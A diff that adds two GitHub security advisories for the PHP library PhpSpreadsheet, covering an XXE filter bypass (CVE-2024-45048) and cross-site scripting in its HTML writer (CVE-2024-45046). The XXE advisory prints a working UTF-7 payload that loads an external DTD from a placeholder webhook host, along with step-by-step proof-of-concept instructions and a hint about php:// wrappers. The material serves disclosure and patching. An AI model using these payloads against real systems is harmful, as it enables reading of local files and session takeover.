Publish Advisories

GHSA-ghg6-32f9-2jp7 GHSA-prf6-xjxh-p698 GHSA-wgmf-q9vr-vww6
2026-05-22 18:04:22 -07:00 · 2024-08-29 17:58:58 +00:00
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+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-ghg6-32f9-2jp7",
+  "modified": "2024-08-29T17:58:27Z",
+  "published": "2024-08-29T17:58:27Z",
+  "aliases": [
+    "CVE-2024-45048"
+  ],
+  "summary": "XXE in PHPSpreadsheet encoding is returned",
+  "details": "### Summary\nBypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) \n\n### Details\nCheck ` $pattern = '/encoding=\"(.*?)\"/';` easy to bypass. Just use a single quote symbol `'`. So payload looks like this:\n```\n<?xml version=\"1.0\" encoding='UTF-7' standalone=\"yes\"?>\n+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM \"http://example.com/file.dtd\"> %xxe;]>\n```\nIf you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. \n\n### PoC\n1) Create simple xlsx file\n2) Rename xlsx to zip\n3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode.\n4) Replace `<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>` to \n```\n<?xml version=\"1.0\" encoding='UTF-7' standalone=\"yes\"?>\n+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM \"http://%webhook%/file.dtd\"> %xxe;]>\n```\n5) Save `sharedStrings.xml` file and rename zip back to xlsx.\n6) Use minimal php code that simply opens this xlsx file:\n```\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\nrequire __DIR__ . '/vendor/autoload.php';\n$spreadsheet = IOFactory::load(\"file.xlsx\");\n```\n7) You will receive the request to your `http://%webhook%/file.dtd`\n8) Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.\n\n### Impact\nRead local files\n![lfi](https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931)",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
+    },
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "Packagist",
+        "name": "phpoffice/phpspreadsheet"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "2.2.1"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7"
+    },
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45048"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-611"
+    ],
+    "severity": "HIGH",
+    "github_reviewed": true,
+    "github_reviewed_at": "2024-08-29T17:58:27Z",
+    "nvd_published_at": "2024-08-28T21:15:06Z"
+  }
+}
@@ -0,0 +1,73 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-wgmf-q9vr-vww6",
+  "modified": "2024-08-29T17:56:57Z",
+  "published": "2024-08-29T17:56:56Z",
+  "aliases": [
+    "CVE-2024-45046"
+  ],
+  "summary": "PhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via style information",
+  "details": "### Summary\n\n`\\PhpOffice\\PhpSpreadsheet\\Writer\\Html` doesn't sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.\n\n### PoC\n\nExample target script:\n\n```\n<?php\n\nrequire 'vendor/autoload.php';\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\nprint($writer->generateHTMLAll());\n```\n\nSave this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15212797/book.xlsx)\n\nOpen index.php in a web browser. An alert should be displayed.\n\n### Impact\n\nFull takeover of the session of users viewing spreadsheet files as HTML.\n",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
+    },
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "Packagist",
+        "name": "phpoffice/phpspreadsheet"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "2.1.0"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6"
+    },
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45046"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/PHPOffice/PhpSpreadsheet/pull/3957"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-79"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": true,
+    "github_reviewed_at": "2024-08-29T17:56:56Z",
+    "nvd_published_at": "2024-08-28T21:15:06Z"
+  }
+}